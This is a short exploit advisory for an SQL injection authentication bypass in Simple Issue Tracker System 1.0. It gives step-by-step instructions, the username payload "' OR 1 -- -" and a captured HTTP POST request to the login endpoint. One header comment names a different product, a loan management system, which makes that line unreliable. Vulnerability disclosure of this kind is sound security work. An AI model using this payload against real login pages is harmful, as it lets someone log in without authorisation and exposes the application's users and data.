Simple Issue Tracker System 1.0 SQL Injection

Simple Issue Tracker System version 1.0 suffers from a remote SQL injection vulnerability that allows for authentication bypass.

MD5 | 9ca937bb43f720def1537a3345212cf1

# Exploit Title: Simple Issue Tracker System 1.0 - SQLi Authentication Bypass
# Date: 11.10.2021
# Exploit Author: Bekir Bugra TURKOGLU
# Vendor Homepage:
# Software Link:
# Version: 1.0
# Tested on: Windows 10, Kali Linux
# Loan Management System Login page can be bypassed with a simple SQLi to the username parameter.

Steps To Reproduce:

1 - Go to the login page http://localhost/issue_tracker/login.php
2 - Enter the payload to username field as "admin" or " ' OR 1 -- - " and enter any character in the password field.
3 - Click on "Login" button and successful login.


POST /issue_tracker/Actions.php?a=login HTTP/1.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 31
Origin: http://localhost
Connection: close
Referer: http://localhost/issue_tracker/login.php
Cookie: PHPSESSID=71bod5tipklk329lpsoqkvfcb9


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